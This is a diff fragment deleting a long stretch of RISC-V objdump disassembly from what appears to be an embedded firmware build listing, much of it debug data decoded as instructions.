-     5d6:	4021                	c.li	zero,8
-     5d8:	c820                	sw	s0,80(s0)
-     5da:	4021                	c.li	zero,8
-     5dc:	0120                	addi	s0,sp,136
-     5de:	6200                	flw	fs0,0(a2)
-	...
-     5e8:	20c4                	fld	fs1,128(s1)
-     5ea:	2040                	fld	fs0,128(s0)
-     5ec:	2160                	fld	fs0,192(a0)
-     5ee:	2040                	fld	fs0,128(s0)
-     5f0:	0001                	nop
-     5f2:	40216c63          	bltu	sp,sp,a0a <__stack_size+0x20a>
-     5f6:	c820                	sw	s0,80(s0)
-     5f8:	4021                	c.li	zero,8
-     5fa:	0120                	addi	s0,sp,136
-     5fc:	6300                	flw	fs0,0(a4)
-	...
-     606:	20d2                	fld	ft1,272(sp)
-     608:	2040                	fld	fs0,128(s0)
-     60a:	2116                	fld	ft2,320(sp)
-     60c:	2040                	fld	fs0,128(s0)
-     60e:	0001                	nop
-     610:	005a                	c.slli	zero,0x16
-     612:	0000                	unimp
-     614:	0000                	unimp
-     616:	0000                	unimp
-     618:	0e00                	addi	s0,sp,784
-     61a:	4021                	c.li	zero,8
-     61c:	2e20                	fld	fs0,88(a2)
-     61e:	4021                	c.li	zero,8
-     620:	0220                	addi	s0,sp,264
-     622:	3000                	fld	fs0,32(s0)
-     624:	2e9f 4021 4a20      	0x4a2040212e9f
-     62a:	4021                	c.li	zero,8
-     62c:	0120                	addi	s0,sp,136
-     62e:	5800                	lw	s0,48(s0)
-     630:	216c                	fld	fa1,192(a0)
-     632:	2040                	fld	fs0,128(s0)
-     634:	2180                	fld	fs0,0(a1)
-     636:	2040                	fld	fs0,128(s0)
-     638:	0002                	c.slli64	zero
-     63a:	9f30                	0x9f30
-     63c:	2180                	fld	fs0,0(a1)
-     63e:	2040                	fld	fs0,128(s0)
-     640:	2186                	fld	ft3,64(sp)
-     642:	2040                	fld	fs0,128(s0)
-     644:	0001                	nop
-     646:	8658                	0x8658
-     648:	4021                	c.li	zero,8
-     64a:	a420                	fsd	fs0,72(s0)
-     64c:	4021                	c.li	zero,8
-     64e:	0220                	addi	s0,sp,264
-     650:	3000                	fld	fs0,32(s0)
-     652:	a49f 4021 bc20      	0xbc204021a49f
-     658:	4021                	c.li	zero,8
-     65a:	0120                	addi	s0,sp,136
-     65c:	5800                	lw	s0,48(s0)
-     65e:	21bc                	fld	fa5,64(a1)
-     660:	2040                	fld	fs0,128(s0)
-     662:	21c8                	fld	fa0,128(a1)
-     664:	2040                	fld	fs0,128(s0)
-     666:	0002                	c.slli64	zero
-     668:	9f30                	0x9f30
-	...
-     672:	210e                	fld	ft2,192(sp)
-     674:	2040                	fld	fs0,128(s0)
-     676:	2130                	fld	fa2,64(a0)
-     678:	2040                	fld	fs0,128(s0)
-     67a:	0002                	c.slli64	zero
-     67c:	9f30                	0x9f30
-     67e:	2130                	fld	fa2,64(a0)
-     680:	2040                	fld	fs0,128(s0)
-     682:	214a                	fld	ft2,144(sp)
-     684:	2040                	fld	fs0,128(s0)
-     686:	0001                	nop
-     688:	6c66                	flw	fs8,88(sp)
-     68a:	4021                	c.li	zero,8
-     68c:	8420                	0x8420
-     68e:	4021                	c.li	zero,8
-     690:	0220                	addi	s0,sp,264
-     692:	3000                	fld	fs0,32(s0)
-     694:	849f 4021 8620      	0x86204021849f
-     69a:	4021                	c.li	zero,8
-     69c:	0120                	addi	s0,sp,136
-     69e:	6600                	flw	fs0,8(a2)
-     6a0:	2186                	fld	ft3,64(sp)
-     6a2:	2040                	fld	fs0,128(s0)
-     6a4:	21b2                	fld	ft3,264(sp)
-     6a6:	2040                	fld	fs0,128(s0)
-     6a8:	0002                	c.slli64	zero
-     6aa:	9f30                	0x9f30
-     6ac:	21b2                	fld	ft3,264(sp)
-     6ae:	2040                	fld	fs0,128(s0)
-     6b0:	21bc                	fld	fa5,64(a1)
-     6b2:	2040                	fld	fs0,128(s0)
-     6b4:	0001                	nop
-     6b6:	bc66                	fsd	fs9,56(sp)
-     6b8:	4021                	c.li	zero,8
-     6ba:	c820                	sw	s0,80(s0)
-     6bc:	4021                	c.li	zero,8
-     6be:	0220                	addi	s0,sp,264
-     6c0:	3000                	fld	fs0,32(s0)
-     6c2:	009f 0000 0000      	0x9f
-     6c8:	0000                	unimp
-     6ca:	9200                	0x9200
-     6cc:	4021                	c.li	zero,8
-     6ce:	a620                	fsd	fs0,72(a2)
-     6d0:	4021                	c.li	zero,8
-     6d2:	0120                	addi	s0,sp,136
-     6d4:	6600                	flw	fs0,8(a2)
-     6d6:	21a6                	fld	ft3,72(sp)
-     6d8:	2040                	fld	fs0,128(s0)
-     6da:	21b0                	fld	fa2,64(a1)
-     6dc:	2040                	fld	fs0,128(s0)
-     6de:	7d860003          	lb	zero,2008(a2)
-     6e2:	b09f 4021 bc20      	0xbc204021b09f
-     6e8:	4021                	c.li	zero,8
-     6ea:	0320                	addi	s0,sp,392
-     6ec:	7f00                	flw	fs0,56(a4)
-     6ee:	9f7e                	add	t5,t5,t6
-     6f0:	21bc                	fld	fa5,64(a1)
-     6f2:	2040                	fld	fs0,128(s0)
-     6f4:	21c4                	fld	fs1,128(a1)
-     6f6:	2040                	fld	fs0,128(s0)
-     6f8:	0001                	nop
-     6fa:	0066                	c.slli	zero,0x19
-     6fc:	0000                	unimp
-     6fe:	0000                	unimp
-     700:	0000                	unimp
-     702:	9c00                	0x9c00
-     704:	4021                	c.li	zero,8
-     706:	a620                	fsd	fs0,72(a2)
-     708:	4021                	c.li	zero,8
-     70a:	0920                	addi	s0,sp,152
-     70c:	3100                	fld	fs0,32(a0)
-     70e:	0386                	slli	t2,t2,0x1
-     710:	f724                	fsw	fs1,104(a4)
-     712:	f730                	fsw	fa2,104(a4)
-     714:	9f29                	0x9f29
-     716:	21a6                	fld	ft3,72(sp)
-     718:	2040                	fld	fs0,128(s0)
-     71a:	21b0                	fld	fa2,64(a1)
-     71c:	2040                	fld	fs0,128(s0)
-     71e:	0009                	c.nop	2
-     720:	8631                	srai	a2,a2,0xc
-     722:	2400                	fld	fs0,8(s0)
-     724:	29f730f7          	0x29f730f7
-     728:	b09f 4021 bc20      	0xbc204021b09f
-     72e:	4021                	c.li	zero,8
-     730:	0920                	addi	s0,sp,152
-     732:	3100                	fld	fs0,32(a0)
-     734:	017f                	0x17f
-     736:	f724                	fsw	fs1,104(a4)
-     738:	f730                	fsw	fa2,104(a4)
-     73a:	9f29                	0x9f29
-	...
-     744:	1e06                	slli	t3,t3,0x21
-     746:	2040                	fld	fs0,128(s0)
-     748:	1e54                	addi	a3,sp,820
-     74a:	2040                	fld	fs0,128(s0)
-     74c:	f8910003          	lb	zero,-119(sp)
-     750:	547e                	lw	s0,252(sp)
-     752:	401e                	0x401e
-     754:	5620                	lw	s0,104(a2)
-     756:	401e                	0x401e
-     758:	0220                	addi	s0,sp,264
-     75a:	7b00                	flw	fs0,48(a4)
-     75c:	5600                	lw	s0,40(a2)
-     75e:	401e                	0x401e
-     760:	6a20                	flw	fs0,80(a2)
-     762:	401e                	0x401e
-     764:	0320                	addi	s0,sp,392
-     766:	9100                	0x9100
-     768:	7ef8                	flw	fa4,124(a3)
-     76a:	1e6a                	slli	t3,t3,0x3a
-     76c:	2040                	fld	fs0,128(s0)
-     76e:	1e6c                	addi	a1,sp,828
-     770:	2040                	fld	fs0,128(s0)
-     772:	0002                	c.slli64	zero
-     774:	007f                	0x7f
-     776:	1e6c                	addi	a1,sp,828
-     778:	2040                	fld	fs0,128(s0)
-     77a:	1ea4                	addi	s1,sp,888
-     77c:	2040                	fld	fs0,128(s0)
-     77e:	f8910003          	lb	zero,-119(sp)
-     782:	a47e                	fsd	ft11,8(sp)
-     784:	401e                	0x401e
-     786:	a620                	fsd	fs0,72(a2)
-     788:	401e                	0x401e
-     78a:	0220                	addi	s0,sp,264
-     78c:	7f00                	flw	fs0,56(a4)
-     78e:	a600                	fsd	fs0,8(a2)
-     790:	401e                	0x401e
-     792:	c620                	sw	s0,72(a2)
-     794:	401e                	0x401e
-     796:	0320                	addi	s0,sp,392
-     798:	9100                	0x9100
-     79a:	7ef8                	flw	fa4,124(a3)
-     79c:	1ec6                	slli	t4,t4,0x31
-     79e:	2040                	fld	fs0,128(s0)
-     7a0:	1ed5                	addi	t4,t4,-11
-     7a2:	2040                	fld	fs0,128(s0)
-     7a4:	0002                	c.slli64	zero
-     7a6:	007a                	c.slli	zero,0x1e
-     7a8:	1ed5                	addi	t4,t4,-11
-     7aa:	2040                	fld	fs0,128(s0)
-     7ac:	206a                	fld	ft0,152(sp)
-     7ae:	2040                	fld	fs0,128(s0)
-     7b0:	f8910003          	lb	zero,-119(sp)
-     7b4:	6a7e                	flw	fs4,220(sp)
-     7b6:	4020                	lw	s0,64(s0)
-     7b8:	6c20                	flw	fs0,88(s0)
-     7ba:	4020                	lw	s0,64(s0)
-     7bc:	0320                	addi	s0,sp,392
-     7be:	7200                	flw	fs0,32(a2)
-     7c0:	7ef8                	flw	fa4,124(a3)
-	...
-     7ca:	1e06                	slli	t3,t3,0x21
-     7cc:	2040                	fld	fs0,128(s0)
-     7ce:	1e22                	slli	t3,t3,0x28
-     7d0:	2040                	fld	fs0,128(s0)
-     7d2:	a4910003          	lb	zero,-1463(sp)
-     7d6:	227f                	0x227f
-     7d8:	401e                	0x401e
-     7da:	0c20                	addi	s0,sp,536
-     7dc:	401f 0220 8300      	0x83000220401f
-     7e2:	0c00                	addi	s0,sp,528
-     7e4:	401f 6a20 4020      	0x40206a20401f
-     7ea:	0320                	addi	s0,sp,392
-     7ec:	9100                	0x9100
-     7ee:	7fa4                	flw	fs1,120(a5)
-     7f0:	206a                	fld	ft0,152(sp)
-     7f2:	2040                	fld	fs0,128(s0)
-     7f4:	206c                	fld	fa1,192(s0)
-     7f6:	2040                	fld	fs0,128(s0)
-     7f8:	a4720003          	lb	zero,-1465(tp) # fffffa47 <_heap_end+0x7fff1247>
-     7fc:	007f                	0x7f
-     7fe:	0000                	unimp
-     800:	0000                	unimp
-     802:	0000                	unimp
-     804:	6c00                	flw	fs0,24(s0)
-     806:	401e                	0x401e
-     808:	8720                	0x8720
-     80a:	401e                	0x401e
-     80c:	0120                	addi	s0,sp,136
-     80e:	5c00                	lw	s0,56(s0)
-	...
-     818:	1e90                	addi	a2,sp,880
-     81a:	2040                	fld	fs0,128(s0)
-     81c:	1f0a                	slli	t5,t5,0x22
-     81e:	2040                	fld	fs0,128(s0)
-     820:	0001                	nop
-     822:	0059                	c.nop	22
-     824:	0000                	unimp
-     826:	0000                	unimp
-     828:	0000                	unimp
-     82a:	f400                	fsw	fs0,40(s0)
-     82c:	401e                	0x401e
-     82e:	0520                	addi	s0,sp,648
-     830:	401f 0220 8300      	0x83000220401f
-     836:	0800                	addi	s0,sp,16
-     838:	401f 5820 401f      	0x401f5820401f
-     83e:	0120                	addi	s0,sp,136
-     840:	5800                	lw	s0,48(s0)
-	...
-     84a:	1ef4                	addi	a3,sp,892
-     84c:	2040                	fld	fs0,128(s0)
-     84e:	1f05                	addi	t5,t5,-31
-     850:	2040                	fld	fs0,128(s0)
-     852:	b8910003          	lb	zero,-1143(sp)
-     856:	0a7f                	0xa7f
-     858:	401f 6220 401f      	0x401f6220401f
-     85e:	0120                	addi	s0,sp,136
-     860:	5900                	lw	s0,48(a0)
-	...
-     86a:	1ef4                	addi	a3,sp,892
-     86c:	2040                	fld	fs0,128(s0)
-     86e:	1f05                	addi	t5,t5,-31
-     870:	2040                	fld	fs0,128(s0)
-     872:	0002                	c.slli64	zero
-     874:	4c91                	li	s9,4
-     876:	1f0c                	addi	a1,sp,944
-     878:	2040                	fld	fs0,128(s0)
-     87a:	1f86                	slli	t6,t6,0x21
-     87c:	2040                	fld	fs0,128(s0)
-     87e:	0001                	nop
-     880:	00000063          	beqz	zero,880 <__stack_size+0x80>
-     884:	0000                	unimp
-     886:	0000                	unimp
-     888:	4200                	lw	s0,0(a2)
-     88a:	401f 4a20 401f      	0x401f4a20401f
-     890:	0720                	addi	s0,sp,904
-     892:	7a00                	flw	fs0,48(a2)
-     894:	0a00                	addi	s0,sp,272
-     896:	ffff                	0xffff
-     898:	9f1a                	add	t5,t5,t1
-     89a:	1f4a                	slli	t5,t5,0x32
-     89c:	2040                	fld	fs0,128(s0)
-     89e:	2066                	fld	ft0,88(sp)
-     8a0:	2040                	fld	fs0,128(s0)
-     8a2:	00860007          	0x860007
-     8a6:	ff0a                	fsw	ft2,188(sp)
-     8a8:	1aff                	0x1aff
-     8aa:	009f 0000 0000      	0x9f
-     8b0:	0000                	unimp
-     8b2:	4e00                	lw	s0,24(a2)
-     8b4:	401f 5620 401f      	0x401f5620401f
-     8ba:	0520                	addi	s0,sp,648
-     8bc:	7a00                	flw	fs0,48(a2)
-     8be:	4000                	lw	s0,0(s0)
-     8c0:	9f25                	0x9f25
-     8c2:	1f56                	slli	t5,t5,0x35
-     8c4:	2040                	fld	fs0,128(s0)
-     8c6:	201c                	fld	fa5,0(s0)
-     8c8:	2040                	fld	fs0,128(s0)
-     8ca:	0005                	c.nop	1
-     8cc:	25400087          	0x25400087
-     8d0:	1c9f 4020 2b20      	0x2b2040201c9f
-     8d6:	4020                	lw	s0,64(s0)
-     8d8:	0120                	addi	s0,sp,136
-     8da:	5c00                	lw	s0,56(s0)
-     8dc:	2040202b          	0x2040202b
-     8e0:	2068                	fld	fa0,192(s0)
-     8e2:	2040                	fld	fs0,128(s0)
-     8e4:	0005                	c.nop	1
-     8e6:	25400087          	0x25400087
-     8ea:	009f 0000 0000      	0x9f
-     8f0:	0000                	unimp
-     8f2:	5800                	lw	s0,48(s0)
-     8f4:	401f 3020 4020      	0x40203020401f
-     8fa:	0720                	addi	s0,sp,904
-     8fc:	7800                	flw	fs0,48(s0)
-     8fe:	0a00                	addi	s0,sp,272
-     900:	ffff                	0xffff
-     902:	9f1a                	add	t5,t5,t1
-	...
-     90c:	1f62                	slli	t5,t5,0x38
-     90e:	2040                	fld	fs0,128(s0)
-     910:	2034                	fld	fa3,64(s0)
-     912:	2040                	fld	fs0,128(s0)
-     914:	0005                	c.nop	1
-     916:	0079                	c.nop	30
-     918:	2540                	fld	fs0,136(a0)
-     91a:	349f 4020 4120      	0x41204020349f
-     920:	4020                	lw	s0,64(s0)
-     922:	0120                	addi	s0,sp,136
-     924:	5c00                	lw	s0,56(s0)
-     926:	2041                	jal	9a6 <__stack_size+0x1a6>
-     928:	2040                	fld	fs0,128(s0)
-     92a:	205c                	fld	fa5,128(s0)
-     92c:	2040                	fld	fs0,128(s0)
-     92e:	0005                	c.nop	1
-     930:	0079                	c.nop	30
-     932:	2540                	fld	fs0,136(a0)
-     934:	009f 0000 0000      	0x9f
-     93a:	0000                	unimp
-     93c:	6e00                	flw	fs0,24(a2)
-     93e:	401f 7020 401f      	0x401f7020401f
-     944:	0120                	addi	s0,sp,136
-     946:	5a00                	lw	s0,48(a2)
-     948:	1f70                	addi	a2,sp,956
-     94a:	2040                	fld	fs0,128(s0)
-     94c:	2064                	fld	fs1,192(s0)
-     94e:	2040                	fld	fs0,128(s0)
-     950:	0001                	nop
-     952:	0065                	c.nop	25
-     954:	0000                	unimp
-     956:	0000                	unimp
-     958:	0000                	unimp
-     95a:	7a00                	flw	fs0,48(a2)
-     95c:	401f 7c20 401f      	0x401f7c20401f
-     962:	0120                	addi	s0,sp,136
-     964:	5a00                	lw	s0,48(a2)
-     966:	1f7c                	addi	a5,sp,956
-     968:	2040                	fld	fs0,128(s0)
-     96a:	20401fa3          	sh	tp,543(zero) # 21f <__stack_size-0x5e1>
-     96e:	0001                	nop
-     970:	a35c                	fsd	fa5,128(a4)
-     972:	401f 5620 4020      	0x40205620401f
-     978:	0320                	addi	s0,sp,392
-     97a:	9100                	0x9100
-     97c:	7edc                	flw	fa5,60(a3)
-	...
-     986:	1f86                	slli	t6,t6,0x21
-     988:	2040                	fld	fs0,128(s0)
-     98a:	1f88                	addi	a0,sp,1008
-     98c:	2040                	fld	fs0,128(s0)
-     98e:	0001                	nop
-     990:	885a                	mv	a6,s6
-     992:	401f 6020 4020      	0x40206020401f
-     998:	0120                	addi	s0,sp,136
-     99a:	6300                	flw	fs0,0(a4)
-	...
-     9a4:	1f92                	slli	t6,t6,0x24
-     9a6:	2040                	fld	fs0,128(s0)
-     9a8:	1f9e                	slli	t6,t6,0x27
-     9aa:	2040                	fld	fs0,128(s0)
-     9ac:	0001                	nop
-     9ae:	9e5a                	add	t3,t3,s6
-     9b0:	401f 6220 4020      	0x40206220401f
-     9b6:	0120                	addi	s0,sp,136
-     9b8:	6400                	flw	fs0,8(s0)
-	...
-     9c2:	1e06                	slli	t3,t3,0x21
-     9c4:	2040                	fld	fs0,128(s0)
-     9c6:	1e26                	slli	t3,t3,0x29
-     9c8:	2040                	fld	fs0,128(s0)
-     9ca:	0002                	c.slli64	zero
-     9cc:	9f30                	0x9f30
-	...
-     9d6:	1e30                	addi	a2,sp,824
-     9d8:	2040                	fld	fs0,128(s0)
-     9da:	1e38                	addi	a4,sp,824
-     9dc:	2040                	fld	fs0,128(s0)
-     9de:	0001                	nop
-     9e0:	385a                	fld	fa6,432(sp)
-     9e2:	401e                	0x401e
-     9e4:	8720                	0x8720
-     9e6:	401e                	0x401e
-     9e8:	0120                	addi	s0,sp,136
-     9ea:	5d00                	lw	s0,56(a0)
-	...
-     9f4:	1e3a                	slli	t3,t3,0x2e
-     9f6:	2040                	fld	fs0,128(s0)
-     9f8:	1e40                	addi	s0,sp,820
-     9fa:	2040                	fld	fs0,128(s0)
-     9fc:	0001                	nop
-     9fe:	405a                	0x405a
-     a00:	401e                	0x401e
-     a02:	5e20                	lw	s0,120(a2)
-     a04:	401e                	0x401e
-     a06:	0120                	addi	s0,sp,136
-     a08:	5c00                	lw	s0,56(s0)
-	...
-     a12:	1e4a                	slli	t3,t3,0x32
-     a14:	2040                	fld	fs0,128(s0)
-     a16:	1e52                	slli	t3,t3,0x34
-     a18:	2040                	fld	fs0,128(s0)
-     a1a:	0001                	nop
-     a1c:	525a                	lw	tp,180(sp)
-     a1e:	401e                	0x401e
-     a20:	5a20                	lw	s0,112(a2)
-     a22:	401e                	0x401e
-     a24:	0120                	addi	s0,sp,136
-     a26:	5e00                	lw	s0,56(a2)
-	...
-     a30:	1e52                	slli	t3,t3,0x34
-     a32:	2040                	fld	fs0,128(s0)
-     a34:	1e58                	addi	a4,sp,820
-     a36:	2040                	fld	fs0,128(s0)
-     a38:	0001                	nop
-     a3a:	005a                	c.slli	zero,0x16
-     a3c:	0000                	unimp
-     a3e:	0000                	unimp
-     a40:	0000                	unimp
-     a42:	9000                	0x9000
-     a44:	401e                	0x401e
-     a46:	a220                	fsd	fs0,64(a2)
-     a48:	401e                	0x401e
-     a4a:	0220                	addi	s0,sp,264
-     a4c:	3000                	fld	fs0,32(s0)
-     a4e:	009f 0000 0000      	0x9f
-     a54:	0000                	unimp
-     a56:	ac00                	fsd	fs0,24(s0)
-     a58:	4019                	c.li	zero,6
-     a5a:	ae20                	fsd	fs0,88(a2)
-     a5c:	4019                	c.li	zero,6
-     a5e:	0120                	addi	s0,sp,136
-     a60:	5a00                	lw	s0,48(a2)
-     a62:	19ae                	slli	s3,s3,0x2b
-     a64:	2040                	fld	fs0,128(s0)
-     a66:	19be                	slli	s3,s3,0x2f
-     a68:	2040                	fld	fs0,128(s0)
-     a6a:	0004                	0x4
-     a6c:	9f5a01f3          	0x9f5a01f3
-	...
-     a78:	19ae                	slli	s3,s3,0x2b
-     a7a:	2040                	fld	fs0,128(s0)
-     a7c:	19b8                	addi	a4,sp,248
-     a7e:	2040                	fld	fs0,128(s0)
-     a80:	0001                	nop
-     a82:	b85a                	fsd	fs6,48(sp)
-     a84:	4019                	c.li	zero,6
-     a86:	ba20                	fsd	fs0,112(a2)
-     a88:	4019                	c.li	zero,6
-     a8a:	0320                	addi	s0,sp,392
-     a8c:	f300                	fsw	fs0,32(a4)
-     a8e:	5a01                	li	s4,-32
-     a90:	19ba                	slli	s3,s3,0x2e
-     a92:	2040                	fld	fs0,128(s0)
-     a94:	19bc                	addi	a5,sp,248
-     a96:	2040                	fld	fs0,128(s0)
-     a98:	0001                	nop
-     a9a:	bc5a                	fsd	fs6,56(sp)
-     a9c:	4019                	c.li	zero,6
-     a9e:	be20                	fsd	fs0,120(a2)
-     aa0:	4019                	c.li	zero,6
-     aa2:	0320                	addi	s0,sp,392
-     aa4:	f300                	fsw	fs0,32(a4)
-     aa6:	5a01                	li	s4,-32
-	...
-     ab0:	1c96                	slli	s9,s9,0x25
-     ab2:	2040                	fld	fs0,128(s0)
-     ab4:	1e00                	addi	s0,sp,816
-     ab6:	2040                	fld	fs0,128(s0)
-     ab8:	0001                	nop
-     aba:	0059                	c.nop	22
-     abc:	0000                	unimp
-     abe:	0000                	unimp
-     ac0:	0000                	unimp
-     ac2:	b000                	fsd	fs0,32(s0)
-     ac4:	401c                	lw	a5,0(s0)
-     ac6:	0020                	addi	s0,sp,8
-     ac8:	401d                	c.li	zero,7
-     aca:	0120                	addi	s0,sp,136
-     acc:	5800                	lw	s0,48(s0)
-	...
-     ad6:	1d00                	addi	s0,sp,688
-     ad8:	2040                	fld	fs0,128(s0)
-     ada:	1dfe                	slli	s11,s11,0x3f
-     adc:	2040                	fld	fs0,128(s0)
-     ade:	0001                	nop
-     ae0:	0058                	addi	a4,sp,4
-     ae2:	0000                	unimp
-     ae4:	0000                	unimp
-     ae6:	0000                	unimp
-     ae8:	3400                	fld	fs0,40(s0)
-     aea:	401d                	c.li	zero,7
-     aec:	4120                	lw	s0,64(a0)
-     aee:	401d                	c.li	zero,7
-     af0:	0120                	addi	s0,sp,136
-     af2:	5c00                	lw	s0,56(s0)
-	...
-     afc:	1d46                	slli	s10,s10,0x31
-     afe:	2040                	fld	fs0,128(s0)
-     b00:	20401dbb          	0x20401dbb
-     b04:	0001                	nop
-     b06:	0000005b          	0x5b
-     b0a:	0000                	unimp
-     b0c:	0000                	unimp
-     b0e:	b000                	fsd	fs0,32(s0)
-     b10:	401d                	c.li	zero,7
-     b12:	bb20                	fsd	fs0,112(a4)
-     b14:	401d                	c.li	zero,7
-     b16:	0120                	addi	s0,sp,136
-     b18:	5c00                	lw	s0,56(s0)
-	...
-     b22:	1cbc                	addi	a5,sp,632
-     b24:	2040                	fld	fs0,128(s0)
-     b26:	1cc2                	slli	s9,s9,0x30
-     b28:	2040                	fld	fs0,128(s0)
-     b2a:	0002                	c.slli64	zero
-     b2c:	9f30                	0x9f30
-     b2e:	1cc2                	slli	s9,s9,0x30
-     b30:	2040                	fld	fs0,128(s0)
-     b32:	20401cfb          	0x20401cfb
-     b36:	0001                	nop
-     b38:	005f 0000 0000      	0x5f
-     b3e:	0000                	unimp
-     b40:	bc00                	fsd	fs0,56(s0)
-     b42:	401c                	lw	a5,0(s0)
-     b44:	c220                	sw	s0,64(a2)
-     b46:	401c                	lw	a5,0(s0)
-     b48:	0220                	addi	s0,sp,264
-     b4a:	3000                	fld	fs0,32(s0)
-     b4c:	c29f 401c d020      	0xd020401cc29f
-     b52:	401c                	lw	a5,0(s0)
-     b54:	0120                	addi	s0,sp,136
-     b56:	5e00                	lw	s0,56(a2)
-     b58:	1cd0                	addi	a2,sp,628
-     b5a:	2040                	fld	fs0,128(s0)
-     b5c:	1ce4                	addi	s1,sp,636
-     b5e:	2040                	fld	fs0,128(s0)
-     b60:	0001                	nop
-     b62:	e45d                	bnez	s0,c10 <__stack_size+0x410>
-     b64:	401c                	lw	a5,0(s0)
-     b66:	fb20                	fsw	fs0,112(a4)
-     b68:	401c                	lw	a5,0(s0)
-     b6a:	0120                	addi	s0,sp,136
-     b6c:	5e00                	lw	s0,56(a2)
-	...
-     b76:	1dc0                	addi	s0,sp,756
-     b78:	2040                	fld	fs0,128(s0)
-     b7a:	20401dcb          	fnmsub.s	fs11,ft0,ft4,ft4,rtz
-     b7e:	0001                	nop
-     b80:	0000005b          	0x5b
-     b84:	0000                	unimp
-     b86:	0000                	unimp
-     b88:	d000                	sw	s0,32(s0)
-     b8a:	401d                	c.li	zero,7
-     b8c:	db20                	sw	s0,112(a4)
-     b8e:	401d                	c.li	zero,7
-     b90:	0120                	addi	s0,sp,136
-     b92:	5b00                	lw	s0,48(a4)
-	...
-     b9c:	19f2                	slli	s3,s3,0x3c
-     b9e:	2040                	fld	fs0,128(s0)
-     ba0:	1ac2                	slli	s5,s5,0x30
-     ba2:	2040                	fld	fs0,128(s0)
-     ba4:	0001                	nop
-     ba6:	f459                	bnez	s0,b34 <__stack_size+0x334>
-     ba8:	401a                	0x401a
-     baa:	5a20                	lw	s0,112(a2)
-     bac:	401c                	lw	a5,0(s0)
-     bae:	0120                	addi	s0,sp,136
-     bb0:	5900                	lw	s0,48(a0)
-	...
-     bba:	19fe                	slli	s3,s3,0x3f
-     bbc:	2040                	fld	fs0,128(s0)
-     bbe:	1ac4                	addi	s1,sp,372
-     bc0:	2040                	fld	fs0,128(s0)
-     bc2:	0001                	nop
-     bc4:	f458                	fsw	fa4,44(s0)
-     bc6:	401a                	0x401a
-     bc8:	0620                	addi	s0,sp,776
-     bca:	0120401b          	0x120401b
-     bce:	5800                	lw	s0,48(s0)
-     bd0:	1b06                	slli	s6,s6,0x21
-     bd2:	2040                	fld	fs0,128(s0)
-     bd4:	1b08                	addi	a0,sp,432
-     bd6:	2040                	fld	fs0,128(s0)
-     bd8:	7c780003          	lb	zero,1991(a6)
-     bdc:	089f 401b 8c20      	0x8c20401b089f
-     be2:	0120401b          	0x120401b
-     be6:	5800                	lw	s0,48(s0)
-     be8:	1bd0                	addi	a2,sp,500
-     bea:	2040                	fld	fs0,128(s0)
-     bec:	1c52                	slli	s8,s8,0x34
-     bee:	2040                	fld	fs0,128(s0)
-     bf0:	0001                	nop
-     bf2:	0058                	addi	a4,sp,4
-     bf4:	0000                	unimp
-     bf6:	0000                	unimp
-     bf8:	0000                	unimp
-     bfa:	0c00                	addi	s0,sp,528
-     bfc:	401a                	0x401a
-     bfe:	4a20                	lw	s0,80(a2)
-     c00:	401a                	0x401a
-     c02:	0120                	addi	s0,sp,136
-     c04:	5a00                	lw	s0,48(a2)
-     c06:	1a4a                	slli	s4,s4,0x32
-     c08:	2040                	fld	fs0,128(s0)
-     c0a:	1a4c                	addi	a1,sp,308
-     c0c:	2040                	fld	fs0,128(s0)
-     c0e:	0001                	nop
-     c10:	4c5d                	li	s8,23
-     c12:	401a                	0x401a
-     c14:	5820                	lw	s0,112(s0)
-     c16:	401a                	0x401a
-     c18:	0120                	addi	s0,sp,136
-     c1a:	5a00                	lw	s0,48(a2)
-     c1c:	1a58                	addi	a4,sp,308
-     c1e:	2040                	fld	fs0,128(s0)
-     c20:	20401a5b          	0x20401a5b
-     c24:	0001                	nop
-     c26:	7e5d                	lui	t3,0xffff7
-     c28:	401a                	0x401a
-     c2a:	8a20                	0x8a20
-     c2c:	401a                	0x401a
-     c2e:	0120                	addi	s0,sp,136
-     c30:	5a00                	lw	s0,48(a2)
-     c32:	1a8a                	slli	s5,s5,0x22
-     c34:	2040                	fld	fs0,128(s0)
-     c36:	1a8c                	addi	a1,sp,368
-     c38:	2040                	fld	fs0,128(s0)
-     c3a:	0001                	nop
-     c3c:	8c5d                	or	s0,s0,a5
-     c3e:	401a                	0x401a
-     c40:	9820                	0x9820
-     c42:	401a                	0x401a
-     c44:	0120                	addi	s0,sp,136
-     c46:	5a00                	lw	s0,48(a2)
-     c48:	1a98                	addi	a4,sp,368
-     c4a:	2040                	fld	fs0,128(s0)
-     c4c:	1a9a                	slli	s5,s5,0x26
-     c4e:	2040                	fld	fs0,128(s0)
-     c50:	0001                	nop
-     c52:	9a5d                	andi	a2,a2,-9
-     c54:	401a                	0x401a
-     c56:	a620                	fsd	fs0,72(a2)
-     c58:	401a                	0x401a
-     c5a:	0120                	addi	s0,sp,136
-     c5c:	5a00                	lw	s0,48(a2)
-     c5e:	1aa6                	slli	s5,s5,0x29
-     c60:	2040                	fld	fs0,128(s0)
-     c62:	1aa8                	addi	a0,sp,376
-     c64:	2040                	fld	fs0,128(s0)
-     c66:	0001                	nop
-     c68:	a85d                	j	d1e <__stack_size+0x51e>
-     c6a:	401a                	0x401a
-     c6c:	b420                	fsd	fs0,104(s0)
-     c6e:	401a                	0x401a
-     c70:	0120                	addi	s0,sp,136
-     c72:	5a00                	lw	s0,48(a2)
-     c74:	1ab4                	addi	a3,sp,376
-     c76:	2040                	fld	fs0,128(s0)
-     c78:	20401ab7          	lui	s5,0x20401
-     c7c:	0001                	nop
-     c7e:	f45d                	bnez	s0,c2c <__stack_size+0x42c>
-     c80:	401a                	0x401a
-     c82:	0020                	addi	s0,sp,8
-     c84:	0120401b          	0x120401b
-     c88:	5a00                	lw	s0,48(a2)
-     c8a:	1b00                	addi	s0,sp,432
-     c8c:	2040                	fld	fs0,128(s0)
-     c8e:	20401b03          	lh	s6,516(zero) # 204 <__stack_size-0x5fc>
-     c92:	0001                	nop
-     c94:	085d                	addi	a6,a6,23
-     c96:	1420401b          	0x1420401b
-     c9a:	0120401b          	0x120401b
-     c9e:	5a00                	lw	s0,48(a2)
-     ca0:	1b14                	addi	a3,sp,432
-     ca2:	2040                	fld	fs0,128(s0)
-     ca4:	20401b17          	auipc	s6,0x20401
-     ca8:	0001                	nop
-     caa:	2c5d                	jal	f60 <__stack_size+0x760>
-     cac:	3820401b          	0x3820401b
-     cb0:	0120401b          	0x120401b
-     cb4:	5a00                	lw	s0,48(a2)
-     cb6:	1b38                	addi	a4,sp,440
-     cb8:	2040                	fld	fs0,128(s0)
-     cba:	1b3a                	slli	s6,s6,0x2e
-     cbc:	2040                	fld	fs0,128(s0)
-     cbe:	0001                	nop
-     cc0:	3a5d                	jal	676 <__stack_size-0x18a>
